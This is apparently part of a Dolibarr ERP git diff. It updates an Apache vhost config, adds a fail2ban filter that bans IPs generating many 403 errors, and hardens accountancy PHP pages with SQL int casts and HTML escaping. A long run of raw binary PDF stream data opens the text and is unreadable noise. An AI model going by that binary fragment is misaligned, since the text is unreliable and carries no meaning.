rLr$,r",r&lrr!r%\r%׿\kk|G|ro?|[o m*]~WWWe1wVÒ8+Ċ^zx!z +]WUї* @8/|-V˦Q/k !BVu;޺2L/gc`8Y/W;!QZfx/ bD_*NUͰ^3W'!X5a<\ +' GzvG/C~urx+zܭ">1\e*zMU o Á䪣:oH%_Y~#7ߖe-M7~37뱿볿>볿!!1;DߘM߄MߔMߔMߌ,[GB[o-;(}pO5 o 8m) E מY>)Ǝ3^GG'wZa\83낷gS]{~UZ}+=߃=ߓ=ߓ=ߋߋߛ߇}߇}ߗ}ߏߏߟߟ~~ o @A/cg7ůCϊ~XYx}x#iA_"ިVaBOI@MwRk~1/_/xxA>/-#gG/Qѿ_[ѿ>0ߠEbOz}߾c.ESh<͝1fxOlY,>e>||ޏ[3}=#Ge<@*~I$$<"ELHwWrJߘxo|ww~} +R=^?͒JORTsbF!|Fa?t-ПOEA.x)zgLjDYܗpglfs60so8r9+?2s+ ĕ{yx9=?I~q1}* fxX@ I!q[>+bPI̊bVL]ɷz:P<1(Zb#L^ j01W +: b( YHCi-L_x+2`#1X(́/60+1X> BP `\_b(WfQ$`b` =W$_+%Dȟ߶_+2 ȳJrvbF>FgTWqW$Ԫ8 e C-5 Ƚp_ 1!:Ӏ֭Rl, fUN*ꤢNj>5iO}kٯ%o71YWOz| k~HF5m{VBM`Psꩁ;7bϽfxԩA {bh=4F; W MJ@ME14\35WsbkA}ZPԧ%iə-9gViM 9M]pP ma9\C0_CfzQo;|i/_z#wɣD*ea2\Ck + V ]PbF ݺ>-Z8b{s/bmٛ;pg|i_j}Q~h-Sh1f ^WA9_ gb-P01bZ 0)G1 0Z`43i,9]8=xZ'xjL w"{&g{&1_&a2̌BSj7OǦ%:\3f SbI3Y3Y1{fwrЗs˹n.%y:\|P{^ a!1,b^.?a11,&%*KR=سyٶŰ/JĻ+go_OC]t 3`'0?ݵxw-]wuİzzpm@#'4r'NętF#gs̏n#H\+sv&jFܨ{6fft݂[cwxpS1xr'x֎F[ٳ=ۙgBvTpW ^Ua.;鱝hv' {kyS=n=bİ10/R}Áyx{({c1<|>lj{N9IMORӓpN)b8M 43wEht~ϡ9r:<_@ h~ EEE7\292g\+q38#38#39#3ëC25f5bN: D;7;7;7^nZx-fXvp}@`tw\_ >*{{{̊la>?蟇}0G Џ @0H ã(C8 ?%bx{`E[Sz))339393933H$Wey"k5yoMXww8?cXe},cY?p#:~>oO !T q gßs s s ǣy<ǣy'y'y"'y'y'y2'W4_Csv0|y=C)́O~??䝺/b.XYiOc}AtOtg>d}&3Y,l~d$1fAW1..̽!<o>[ o!-¿Eb[Ko -b0 +gHpJH RKc^ ˰ -XozK[ޒe|Usqbn EZVHcX=-Ɗ+q~%ί2T,*a<LbV&u1VpC5t%ƚa&Ve wX*̅bS1֭ !T6a1QUB*Xbh\4Ĩjx!F@lCb4z덬7z[۲ޖ&֛:ͰX:swb\ F +Ċ!4D]K#tiL.ѱ1뛰 뛰)뛲)뛱뛱9:6G[c tl-ѱ%:BV^U`|c )blTT1 +w?#=dѮ7P';bGT x'< wx20&51vCn s^wt=й:@Ԧ':D^ {sotνѹA>[_tnЭGtnm DA6`tu: A!0Pta: G0Ft#a$:DQ0 +Fhta :A10ƢXta:G0&t%Ɖ}qR88M&d4&Sd +LEh23ئQim:u 2\fˌb39&Y?gsl1QOuqA L0 1.l,!]wq/A'~n\y̲Wb\&ge b\EV]j/Kx/9%G䈗ጵd-^Zuxi^Zxi^ڀ6^rKNx/9%g䂗\ ^ڈ6⥍x/%Ww 7jfnh6f4w܉ǃx<ǃx<Ǔx=C/ jIM#q$>~_K4zEM_QW5!7Eݢ[:mG{q;hcwL3X|b777c-X,bS3/p|9/fO'ٓJd~%cR'dqY(W+}y{5̲cxdPÀR9ߜ~_o}>C!tM'tC!3~&Ϥy:e1ye~9!{^./5LKy5ʣF<?bG +X~?ߏWyEWJ13Kd Ob]]l#xC*(ŶT7 +b[v%LkbkiS Hl˖ipSl**x.zp-CؖĶB#Yb[/b4΋m庰Ŷ @VClw=SlktKlkSMr&ȩ9VTx-ṵnA|~k%ƺ_Fމ2 [5U;u[ j)H[ +Ƃp< ׷Pf1 Wcm os[۲][Skff[ O!z'P H33T(&b WL3o1L,;1*&R0TLΓᥘ\:e1mԀ\Ŵi8<[k8-5iK/8%&wsg"&Np +Ŵu<Ӷ1b| [L;gG Ĵ=;CŴ!@vbOĴg\!}az+&_rML c!JLZ:{t#iӑu+#ZLjxG!႘N1"Sw +MN/ob:3>l{*stS+ X/?Et(KD=.S}z\9();8'1]Ck!_LՀ@ oݐ!x&Es1۞">@wu'ݍ {]D@bjZ>&Ъ ^Q3{A@@0"^|N)#1=Ղ|3yF}9~y~KL/jjS$^DHjrU%X bz>yΉ)fc1E뷛 IL߻cbg.bTob>}<1Ŏ 1}+~ăwA> KbC8LLgz04z#HC&὘f1}x{?Ma0/Ris^K5f*_=~#BҘi1-NLo't-22[7'Y̢,z7",bih%\=5yG}'| +ɧj*§E]L3JлdY1ފYzBfea psilB1l + W̖མ!b\ sy=sb-X\,bla<s\{sR@>oFE ]28Bk1׮ .":P珘rO18@Usᗘ5iAuS I)fPF{/fn&fSx&f 1 ހ7 ӐsqN#rh99 4ᜦӔsqN3i99[5bn8 ᜶h5Ws~ɿ6vua}=ձ8C;5ޝѵ&Hs1@,]J׽by!T=kQ̫G 98lH^^Ukbļ1Cuy=gohNBN~N7ෘy,p35uFğֻC%x#l\ 1H +endstream +endobj +startxref +2589463 +%%EOF diff --git a/dev/setup/apache/virtualhost b/dev/setup/apache/virtualhost index 8c7682fe3d9..7eff1859d4f 100644 --- a/dev/setup/apache/virtualhost +++ b/dev/setup/apache/virtualhost @@ -1,9 +1,18 @@ #php_admin_value sendmail_path "/usr/sbin/sendmail -t -i" #php_admin_value mail.force_extra_parameters "-f postmaster@mydomain.com" - php_admin_value sendmail_path "/usr/sbin/sendmail -t -i -f postmaster@mydomain.com" - php_admin_value open_basedir /tmp/:/home/.../htdocs:/home/.../dolibarr_documents: + #php_admin_value sendmail_path "/usr/sbin/sendmail -t -i -f postmaster@mydomain.com" + php_admin_value open_basedir /tmp/:/home/.../htdocs:/home/.../dolibarr_documents: + + + # Add this to use a custom apparmor profile when using apache php handler + + AADefaultHatName sellyoursaas-instances + + + + # The URLs of the web site ServerName myvirtualalias ServerAlias myvirtualalias @@ -15,8 +24,13 @@ AddDefaultCharset UTF-8 - DocumentRoot "/home/.../htdocs" + # Detect if we are using DoliDroid + #SetEnvIf User-Agent DoliDroid dolidroid + + + # The directory and permissions for the web site + DocumentRoot "/home/.../htdocs" AllowOverride None Options -Indexes -MultiViews +FollowSymLinks -ExecCGI @@ -28,43 +42,47 @@ #AuthUserFile /etc/apache2/.htpasswd #require valid-user - - # Leaving /public and /api, /dav, .well_known but also wrappers for document and viewimage accessible to everyone + + # Leaving /public and /api, /dav, .well_known but also wrappers for document, viewimage and public json/img accessible to everyone AuthType None - Require all granted Satisfy any + Require all granted AuthType None - Require all granted Satisfy any + Require all granted AuthType None - Require all granted Satisfy any + Require all granted AuthType None - Require all granted Satisfy any + Require all granted AuthType None - Require all granted Satisfy any + Require all granted - + + # Log directoves ErrorLog /var/log/apache2/myvirtualalias_error_log TransferLog /var/log/apache2/myvirtualalias_access_log - # Compress returned resources of type php pages, text file export, css and javascript + + # Compress is done on resources of type php pages, text file export, css and javascript AddOutputFilterByType DEFLATE text/html text/plain text/xml text/css text/javascript application/javascript application/x-javascript - AddType text/javascript .jgz AddEncoding gzip .jgz + + + # Add cach performance directives ExpiresActive On ExpiresByType image/x-icon A2592000 ExpiresByType image/gif A2592000 @@ -75,19 +93,20 @@ ExpiresByType application/x-javascript A2592000 ExpiresByType application/javascript A2592000 - SSLEngine On - # A self-signed (snakeoil) certificate can be created by installing - # the ssl-cert package. See - # /usr/share/doc/apache2.2-common/README.Debian.gz for more info. - # If both key and certificate are stored in the same file, only the - # SSLCertificateFile directive is needed. - SSLCertificateFile /etc/letsencrypt/live/www.mydomain.com/cert.pem - SSLCertificateKeyFile /etc/letsencrypt/live/www.mydomain.com/privkey.pem - SSLCertificateChainFile /etc/letsencrypt/live/www.mydomain.com/chain.pem + # To enable the SSL if the certificate file exists + + SSLEngine On + + # If both key and certificate are stored in the same file, only the + # SSLCertificateFile directive is needed. + SSLCertificateFile /etc/letsencrypt/live/www.mydomain.com/cert.pem + SSLCertificateKeyFile /etc/letsencrypt/live/www.mydomain.com/privkey.pem + SSLCertificateChainFile /etc/letsencrypt/live/www.mydomain.com/chain.pem + + #RewriteEngine on + #RewriteCond %{SERVER_PORT} ^80$ + #RewriteRule ^(.*)$ https://%{SERVER_NAME}$1 [L,R] + - #RewriteEngine on - #RewriteCond %{SERVER_PORT} ^80$ - #RewriteRule ^(.*)$ https://%{SERVER_NAME}$1 [L,R] - diff --git a/dev/setup/fail2ban/filter.d/web-accesslog-limit403.conf b/dev/setup/fail2ban/filter.d/web-accesslog-limit403.conf new file mode 100644 index 00000000000..1356df80115 --- /dev/null +++ b/dev/setup/fail2ban/filter.d/web-accesslog-limit403.conf @@ -0,0 +1,19 @@ +# Fail2Ban configuration file +# +# Regexp to detect forbidden access on pages (public or not) so we can add mitigation on IP making too much +# access to your a Dolibarr instance. + + +[Definition] + +# To test, you can inject this example into log +# echo `myvirtualhost.com:443 1.2.3.4 - - [15/Dec/2022:09:57:47 +0000] "GET /public/abc" 403 123 "-" "Mozilla" >> /var/log/apache2/access.log +# +# then +# fail2ban-client status web-accesslog-limit403 +# +# To test rule file on a existing log file +# fail2ban-regex /var/log/apache2/access.log /etc/fail2ban/filter.d/web-accesslog-limit403.conf + +failregex = - - .*HTTP/[0-9]+(.[0-9]+)?" 403 +ignoreregex = diff --git a/dev/setup/fail2ban/jail.local b/dev/setup/fail2ban/jail.local index 733987aa45c..bd1f7959f08 100644 --- a/dev/setup/fail2ban/jail.local +++ b/dev/setup/fail2ban/jail.local @@ -31,6 +31,7 @@ maxretry = 10 [web-dol-limitpublic] ; rule to add rate limit on some public pages +; note you must keep enough for public access like agenda export, emailing trackers, stripe ipn access, ... enabled = true port = http,https filter = web-dolibarr-limitpublic @@ -38,5 +39,5 @@ logpath = /mypath/documents/documents/dolibarr.log action = %(action_mw)s bantime = 86400 ; 1 day findtime = 86400 ; 1 day -maxretry = 500 +maxretry = 1000 diff --git a/dev/setup/qodana/README.md b/dev/setup/qodana/README.md new file mode 100644 index 00000000000..37b465cabc9 --- /dev/null +++ b/dev/setup/qodana/README.md @@ -0,0 +1,14 @@ +QODANA TUTO +----------- +This README explains how to use qodana to generate static analytics reports on the code + +Install docker + + +Install qodana + + +To run inspection on CLI + cd ~/git/dirtoscan + sudo qodana scan --show-report + diff --git a/dev/translation/txpull.sh b/dev/translation/txpull.sh index 1b0ce7614c5..1a41cc70f93 100755 --- a/dev/translation/txpull.sh +++ b/dev/translation/txpull.sh @@ -36,7 +36,7 @@ then echo "tx pull -a" tx pull -a - echo "Remove some language directories (not enough translated)" + echo "Remove some language directories (not enough translated) like ach, br_FR, en, frp, fy_NL, ..." rm -fr htdocs/langs/ach rm -fr htdocs/langs/br_FR rm -fr htdocs/langs/en diff --git a/doc/images/dolibarr_screenshot12_1280x800.jpg b/doc/images/dolibarr_screenshot12_1280x800.jpg new file mode 100644 index 00000000000..bdc3a137228 Binary files /dev/null and b/doc/images/dolibarr_screenshot12_1280x800.jpg differ diff --git a/doc/images/dolibarr_screenshot1_1280x800.jpg b/doc/images/dolibarr_screenshot1_1280x800.jpg index ac238d39c1f..6d2c4312394 100644 Binary files a/doc/images/dolibarr_screenshot1_1280x800.jpg and b/doc/images/dolibarr_screenshot1_1280x800.jpg differ diff --git a/doc/images/dolibarr_screenshot2_1280x800.jpg b/doc/images/dolibarr_screenshot2_1280x800.jpg index 2956a55d36a..7f5319942c2 100644 Binary files a/doc/images/dolibarr_screenshot2_1280x800.jpg and b/doc/images/dolibarr_screenshot2_1280x800.jpg differ diff --git a/doc/images/dolibarr_screenshot4_1280x800.jpg b/doc/images/dolibarr_screenshot4_1280x800.jpg new file mode 100644 index 00000000000..d6705363129 Binary files /dev/null and b/doc/images/dolibarr_screenshot4_1280x800.jpg differ diff --git a/doc/images/dolibarr_screenshot5_1280x800.jpg b/doc/images/dolibarr_screenshot5_1280x800.jpg index 6eea0a2f029..f9ddd1d1f77 100644 Binary files a/doc/images/dolibarr_screenshot5_1280x800.jpg and b/doc/images/dolibarr_screenshot5_1280x800.jpg differ diff --git a/htdocs/accountancy/admin/account.php b/htdocs/accountancy/admin/account.php index 2a23ee5eb85..91b7673ab81 100644 --- a/htdocs/accountancy/admin/account.php +++ b/htdocs/accountancy/admin/account.php @@ -47,6 +47,7 @@ $search_label = GETPOST('search_label', 'alpha'); $search_labelshort = GETPOST('search_labelshort', 'alpha'); $search_accountparent = GETPOST('search_accountparent', 'alpha'); $search_pcgtype = GETPOST('search_pcgtype', 'alpha'); +$search_import_key = GETPOST('search_import_key', 'alpha'); $toselect = GETPOST('toselect', 'array'); $limit = GETPOST('limit', 'int') ?GETPOST('limit', 'int') : $conf->liste_limit; $confirm = GETPOST('confirm', 'alpha'); @@ -83,16 +84,19 @@ if (!$sortorder) { } $arrayfields = array( - 'aa.account_number'=>array('label'=>$langs->trans("AccountNumber"), 'checked'=>1), - 'aa.label'=>array('label'=>$langs->trans("Label"), 'checked'=>1), - 'aa.labelshort'=>array('label'=>$langs->trans("LabelToShow"), 'checked'=>1), - 'aa.account_parent'=>array('label'=>$langs->trans("Accountparent"), 'checked'=>1), - 'aa.pcg_type'=>array('label'=>$langs->trans("Pcgtype"), 'checked'=>1, 'help'=>'PcgtypeDesc'), - 'aa.reconcilable'=>array('label'=>$langs->trans("Reconcilable"), 'checked'=>1), - 'aa.active'=>array('label'=>$langs->trans("Activated"), 'checked'=>1) + 'aa.account_number'=>array('label'=>"AccountNumber", 'checked'=>1), + 'aa.label'=>array('label'=>"Label", 'checked'=>1), + 'aa.labelshort'=>array('label'=>"LabelToShow", 'checked'=>1), + 'aa.account_parent'=>array('label'=>"Accountparent", 'checked'=>1), + 'aa.pcg_type'=>array('label'=>"Pcgtype", 'checked'=>1, 'help'=>'PcgtypeDesc'), + 'categories'=>array('label'=>"AccountingCategories", 'checked'=>-1, 'help'=>'AccountingCategoriesDesc'), + 'aa.reconcilable'=>array('label'=>"Reconcilable", 'checked'=>1), + 'aa.active'=>array('label'=>"Activated", 'checked'=>1), + 'aa.import_key'=>array('label'=>"ImportId", 'checked'=>-1) ); if ($conf->global->MAIN_FEATURES_LEVEL < 2) { + unset($arrayfields['categories']); unset($arrayfields['aa.reconcilable']); } @@ -226,15 +230,12 @@ if ($action == 'delete') { $pcgver = $conf->global->CHARTOFACCOUNTS; -$sql = "SELECT aa.rowid, aa.fk_pcg_version, aa.pcg_type, aa.account_number, aa.account_parent , aa.label, aa.labelshort, aa.reconcilable, aa.active, "; +$sql = "SELECT aa.rowid, aa.fk_pcg_version, aa.pcg_type, aa.account_number, aa.account_parent, aa.label, aa.labelshort, aa.fk_accounting_category,"; +$sql .= " aa.reconcilable, aa.active, aa.import_key,"; $sql .= " a2.rowid as rowid2, a2.label as label2, a2.account_number as account_number2"; $sql .= " FROM ".MAIN_DB_PREFIX."accounting_account as aa"; -$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."accounting_system as asy ON aa.fk_pcg_version = asy.pcg_version AND aa.entity = ".$conf->entity; -if ($db->type == 'pgsql') { - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."accounting_account as a2 ON a2.rowid = aa.account_parent AND a2.entity = ".$conf->entity; -} else { - $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."accounting_account as a2 ON a2.rowid = aa.account_parent AND a2.entity = ".$conf->entity; -} +$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."accounting_system as asy ON aa.fk_pcg_version = asy.pcg_version AND aa.entity = ".((int) $conf->entity); +$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."accounting_account as a2 ON a2.rowid = aa.account_parent AND a2.entity = ".((int) $conf->entity); $sql .= " WHERE asy.rowid = ".((int) $pcgver); //print $sql; if (strlen(trim($search_account))) { @@ -337,6 +338,9 @@ if ($resql) { if ($search_pcgtype) { $param .= '&search_pcgtype='.urlencode($search_pcgtype); } + if ($optioncss != '') { + $param .= '&search_import_key='.urlencode($search_import_key); + } if ($optioncss != '') { $param .= '&optioncss='.urlencode($optioncss); } @@ -399,7 +403,7 @@ if ($resql) { } print ""; print ajax_combobox("chartofaccounts"); - print ''; + print ''; print '
      '; @@ -436,11 +440,20 @@ if ($resql) { } if (!empty($arrayfields['aa.account_parent']['checked'])) { print ''; - print $formaccounting->select_account($search_accountparent, 'search_accountparent', 2); + print $formaccounting->select_account($search_accountparent, 'search_accountparent', 2, array(), 0, 0, 'maxwidth150'); print ''; } + // Predefined group if (!empty($arrayfields['aa.pcg_type']['checked'])) { - print ''; + print ''; + } + // Custom groups + if (!empty($arrayfields['categories']['checked'])) { + print ''; + } + // Import key + if (!empty($arrayfields['aa.import_key']['checked'])) { + print ''; } if ($conf->global->MAIN_FEATURES_LEVEL >= 2) { if (!empty($arrayfields['aa.reconcilable']['checked'])) { @@ -471,6 +484,12 @@ if ($resql) { if (!empty($arrayfields['aa.pcg_type']['checked'])) { print_liste_field_titre($arrayfields['aa.pcg_type']['label'], $_SERVER["PHP_SELF"], 'aa.pcg_type,aa.account_number', '', $param, '', $sortfield, $sortorder, '', $arrayfields['aa.pcg_type']['help'], 1); } + if (!empty($arrayfields['categories']['checked'])) { + print_liste_field_titre($arrayfields['categories']['label'], $_SERVER["PHP_SELF"], '', '', $param, '', $sortfield, $sortorder, '', $arrayfields['categories']['help'], 1); + } + if (!empty($arrayfields['aa.import_key']['checked'])) { + print_liste_field_titre($arrayfields['aa.import_key']['label'], $_SERVER["PHP_SELF"], 'aa.import_key', '', $param, '', $sortfield, $sortorder, '', $arrayfields['aa.import_key']['help'], 1); + } if ($conf->global->MAIN_FEATURES_LEVEL >= 2) { if (!empty($arrayfields['aa.reconcilable']['checked'])) { print_liste_field_titre($arrayfields['aa.reconcilable']['label'], $_SERVER["PHP_SELF"], 'aa.reconcilable', '', $param, '', $sortfield, $sortorder); @@ -505,7 +524,7 @@ if ($resql) { // Account label if (!empty($arrayfields['aa.label']['checked'])) { print ""; - print $obj->label; + print dol_escape_htmltag($obj->label); print "\n"; if (!$i) { $totalarray['nbfield']++; @@ -515,7 +534,7 @@ if ($resql) { // Account label to show (label short) if (!empty($arrayfields['aa.labelshort']['checked'])) { print ""; - print $obj->labelshort; + print dol_escape_htmltag($obj->labelshort); print "\n"; if (!$i) { $totalarray['nbfield']++; @@ -549,10 +568,30 @@ if ($resql) { } } - // Chart of accounts type + // Predefined group (deprecated) if (!empty($arrayfields['aa.pcg_type']['checked'])) { print ""; - print $obj->pcg_type; + print dol_escape_htmltag($obj->pcg_type); + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + // Custom accounts + if (!empty($arrayfields['categories']['checked'])) { + print ""; + // TODO Get all custom groups labels the account is in + print dol_escape_htmltag($obj->fk_accounting_category); + print "\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Import id + if (!empty($arrayfields['aa.import_key']['checked'])) { + print ""; + print dol_escape_htmltag($obj->import_key); print "\n"; if (!$i) { $totalarray['nbfield']++; diff --git a/htdocs/accountancy/admin/accountmodel.php b/htdocs/accountancy/admin/accountmodel.php index 02921a78cb2..f2a7842dbbb 100644 --- a/htdocs/accountancy/admin/accountmodel.php +++ b/htdocs/accountancy/admin/accountmodel.php @@ -504,8 +504,8 @@ if ($id) { print ''; print ''; print ''; - print ''; - print ''; + print ''; + print ''; print ''; // Line to enter new values @@ -640,7 +640,8 @@ if ($id) { foreach ($fieldlist as $field => $value) { $showfield = 1; $class = "left"; - $valuetoshow = $obj->{$fieldlist[$field]}; + $tmpvar = $fieldlist[$field]; + $valuetoshow = $obj->$tmpvar; if ($value == 'type_template') { $valuetoshow = isset($elementList[$valuetoshow]) ? $elementList[$valuetoshow] : $valuetoshow; } diff --git a/htdocs/accountancy/admin/card.php b/htdocs/accountancy/admin/card.php index 9eabd378e11..126b7ac9c07 100644 --- a/htdocs/accountancy/admin/card.php +++ b/htdocs/accountancy/admin/card.php @@ -42,7 +42,7 @@ $ref = GETPOST('ref', 'alpha'); $rowid = GETPOST('rowid', 'int'); $cancel = GETPOST('cancel', 'alpha'); -$account_number = GETPOST('account_number', 'string'); +$account_number = GETPOST('account_number', 'alphanohtml'); $label = GETPOST('label', 'alpha'); // Security check @@ -282,7 +282,7 @@ if ($action == 'create') { print $form->textwithpicto($langs->trans("AccountingCategory"), $langs->transnoentitiesnoconv("AccountingAccountGroupsDesc")); print ''; print ''; - $formaccounting->select_accounting_category($object->account_category, 'account_category', 1, 0, 1); + print $formaccounting->select_accounting_category($object->account_category, 'account_category', 1, 0, 1); print ''; print ''; @@ -329,7 +329,8 @@ if ($action == 'create') { // Account parent print ''.$langs->trans("Accountparent").''; print ''; - print $formaccounting->select_account($object->account_parent, 'account_parent', 1); + // Note: We accept disabled account as parent account so we can build a hierarchy and use only childs + print $formaccounting->select_account($object->account_parent, 'account_parent', 1, array(), 0, 0, 'minwidth100 maxwidth300 maxwidthonsmartphone', 1, ''); print ''; // Chart of accounts type @@ -358,7 +359,7 @@ if ($action == 'create') { print $form->textwithpicto($langs->trans("AccountingCategory"), $langs->transnoentitiesnoconv("AccountingAccountGroupsDesc")); print ''; print ''; - $formaccounting->select_accounting_category($object->account_category, 'account_category', 1); + print $formaccounting->select_accounting_category($object->account_category, 'account_category', 1); print ''; print ''; diff --git a/htdocs/accountancy/admin/categories.php b/htdocs/accountancy/admin/categories.php index 7b86902e009..7b660419daf 100644 --- a/htdocs/accountancy/admin/categories.php +++ b/htdocs/accountancy/admin/categories.php @@ -1,6 +1,7 @@ * Copyright (C) 2017-2022 Alexandre Spangaro + * Copyright (C) 2022 Laurent Destailleur * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by @@ -31,7 +32,7 @@ require_once DOL_DOCUMENT_ROOT.'/core/class/html.formaccounting.class.php'; $error = 0; // Load translation files required by the page -$langs->loadLangs(array("bills", "accountancy")); +$langs->loadLangs(array("bills", "accountancy", "compta")); $id = GETPOST('id', 'int'); $cancel = GETPOST('cancel', 'alpha'); @@ -44,6 +45,26 @@ if ($cat_id == 0) { $cat_id = null; } +// Load variable for pagination +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters + $page = 0; +} +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; + +if (empty($sortfield)) { + $sortfield = 'account_number'; +} +if (empty($sortorder)) { + $sortorder = 'ASC'; +} + // Security check if (!$user->hasRight('accounting', 'chartofaccount')) { accessforbidden(); @@ -110,18 +131,22 @@ print ''; // Select the category print ''; print ''; +print '
      '.$langs->trans("AccountingCategory").''; -$formaccounting->select_accounting_category($cat_id, 'account_category', 1, 0, 0, 1); -print ''; +print $formaccounting->select_accounting_category($cat_id, 'account_category', 1, 0, 0, 0); +print ''; print '
      '; + +print dol_get_fiche_end(); + + // Select the accounts if (!empty($cat_id)) { $return = $accountingcategory->getAccountsWithNoCategory($cat_id); if ($return < 0) { setEventMessages(null, $accountingcategory->errors, 'errors'); } - print ''.$langs->trans("AddAccountFromBookKeepingWithNoCategories").''; - print ''; + print '
      '; $arraykeyvalue = array(); foreach ($accountingcategory->lines_cptbk as $key => $val) { @@ -130,33 +155,25 @@ if (!empty($cat_id)) { } if (is_array($accountingcategory->lines_cptbk) && count($accountingcategory->lines_cptbk) > 0) { - print $form->multiselectarray('cpt_bk', $arraykeyvalue, GETPOST('cpt_bk', 'array'), null, null, null, null, "90%"); - print '
      '; - /*print '
      '; - print ajax_combobox('cpt_bk'); - */ - print ' '; + print img_picto($langs->trans("AccountingAccount"), 'accounting_account', 'class="pictofixedwith"'); + print $form->multiselectarray('cpt_bk', $arraykeyvalue, GETPOST('cpt_bk', 'array'), null, null, '', 0, "80%", '', '', $langs->transnoentitiesnoconv("AddAccountFromBookKeepingWithNoCategories")); + print ' '; } - print ''; } -print ''; - -print dol_get_fiche_end(); - print ''; -if ($action == 'display' || $action == 'delete') { - print "\n"; +if ((empty($action) || $action == 'display' || $action == 'delete') && $cat_id > 0) { + $param = 'account_category='.((int) $cat_id); + + print '
      '; + print '
      '."\n"; print ''; - print '"; - print '"; - print "\n"; + print getTitleFieldOfList('AccountAccounting', 0, $_SERVER['PHP_SELF'], 'account_number', '', $param, '', $sortfield, $sortorder, '')."\n"; + print getTitleFieldOfList('Label', 0, $_SERVER['PHP_SELF'], 'label', '', $param, '', $sortfield, $sortorder, '')."\n"; + print getTitleFieldOfList('', 0, $_SERVER['PHP_SELF'], '', '', $param, '', $sortfield, $sortorder, '')."\n"; + print ''."\n"; if (!empty($cat_id)) { $return = $accountingcategory->display($cat_id); // This load ->lines_display @@ -165,6 +182,8 @@ if ($action == 'display' || $action == 'delete') { } if (is_array($accountingcategory->lines_display) && count($accountingcategory->lines_display) > 0) { + $accountingcategory->lines_display = dol_sort_array($accountingcategory->lines_display, $sortfield, $sortorder, -1, 0, 1); + foreach ($accountingcategory->lines_display as $cpt) { print ''; print ''; @@ -177,6 +196,8 @@ if ($action == 'display' || $action == 'delete') { print ""; print "\n"; } + } else { + print ''; } } diff --git a/htdocs/accountancy/admin/categories_list.php b/htdocs/accountancy/admin/categories_list.php index 3a6664b8b44..e77b97fe92d 100644 --- a/htdocs/accountancy/admin/categories_list.php +++ b/htdocs/accountancy/admin/categories_list.php @@ -190,7 +190,7 @@ if (GETPOST('actionadd', 'alpha') || GETPOST('actionmodify', 'alpha')) { setEventMessages($langs->transnoentities('ErrorCodeCantContainZero'), null, 'errors'); } } - if (!is_numeric(GETPOST('position', 'alpha'))) { + if (GETPOST('position') && !is_numeric(GETPOST('position', 'alpha'))) { $langs->loadLangs(array("errors")); $ok = 0; setEventMessages($langs->transnoentities('ErrorFieldMustBeANumeric', $langs->transnoentities("Position")), null, 'errors'); @@ -444,15 +444,37 @@ if ($search_country_id > 0) { if ($sortfield == 'country') { $sortfield = 'country_code'; } +if (empty($sortfield)) { + $sortfield = 'position'; +} + $sql .= $db->order($sortfield, $sortorder); $sql .= $db->plimit($listlimit + 1, $offset); //print $sql; $fieldlist = explode(',', $tabfield[$id]); +$param = '&id='.$id; +if ($search_country_id > 0) { + $param .= '&search_country_id='.urlencode($search_country_id); +} +$paramwithsearch = $param; +if ($sortorder) { + $paramwithsearch .= '&sortorder='.urlencode($sortorder); +} +if ($sortfield) { + $paramwithsearch .= '&sortfield='.urlencode($sortfield); +} +if (GETPOST('from', 'alpha')) { + $paramwithsearch .= '&from='.urlencode(GETPOST('from', 'alpha')); +} + print ''; print ''; print ''; +print ''; +print ''; + print '
      '; print '
      '.$langs->trans("AccountAccounting")."'.$langs->trans("Label")."
      '.length_accountg($cpt->account_number).'
      '.$langs->trans("NoRecordFound").'
      '; @@ -523,9 +545,9 @@ if ($tabname[$id]) { print ''; - print ''; - print ''; - print ''; + print ''; + print ''; + print ''; print ''; // Line to enter new values @@ -571,20 +593,6 @@ if ($resql) { $num = $db->num_rows($resql); $i = 0; - $param = '&id='.$id; - if ($search_country_id > 0) { - $param .= '&search_country_id='.urlencode($search_country_id); - } - $paramwithsearch = $param; - if ($sortorder) { - $paramwithsearch .= '&sortorder='.$sortorder; - } - if ($sortfield) { - $paramwithsearch .= '&sortfield='.$sortfield; - } - if (GETPOST('from', 'alpha')) { - $paramwithsearch .= '&from='.GETPOST('from', 'alpha'); - } // There is several pages if ($num > $listlimit) { print ''; $filterfound++; } else { @@ -725,11 +733,11 @@ if ($resql) { print ''; print ''; print ''; print ''; } else { @@ -743,7 +751,8 @@ if ($resql) { foreach ($fieldlist as $field => $value) { $showfield = 1; $class = "left"; - $valuetoshow = $obj->{$fieldlist[$field]}; + $tmpvar = $fieldlist[$field]; + $valuetoshow = $obj->$tmpvar; if ($value == 'category_type') { $valuetoshow = yn($valuetoshow); } elseif ($valuetoshow == 'all') { @@ -822,7 +831,7 @@ if ($resql) { } // Link to setup the group - print ''; } elseif ($fieldlist[$field] == 'country_id') { diff --git a/htdocs/accountancy/admin/defaultaccounts.php b/htdocs/accountancy/admin/defaultaccounts.php index 9a3b63adcc3..2bd1037db39 100644 --- a/htdocs/accountancy/admin/defaultaccounts.php +++ b/htdocs/accountancy/admin/defaultaccounts.php @@ -84,6 +84,9 @@ $list_account[] = 'ACCOUNTING_VAT_PAY_ACCOUNT'; if (isModEnabled('banque')) { $list_account[] = 'ACCOUNTING_ACCOUNT_TRANSFER_CASH'; } +if (!empty($conf->global->INVOICE_USE_RETAINED_WARRANTY)) { + $list_account[] = 'ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY'; +} if (isModEnabled('don')) { $list_account[] = 'DONATION_ACCOUNTINGACCOUNT'; } diff --git a/htdocs/accountancy/admin/export.php b/htdocs/accountancy/admin/export.php index 23a16340c0b..30cc0144a1f 100644 --- a/htdocs/accountancy/admin/export.php +++ b/htdocs/accountancy/admin/export.php @@ -269,9 +269,9 @@ if ($num2) { // Value print ''; diff --git a/htdocs/accountancy/admin/index.php b/htdocs/accountancy/admin/index.php index 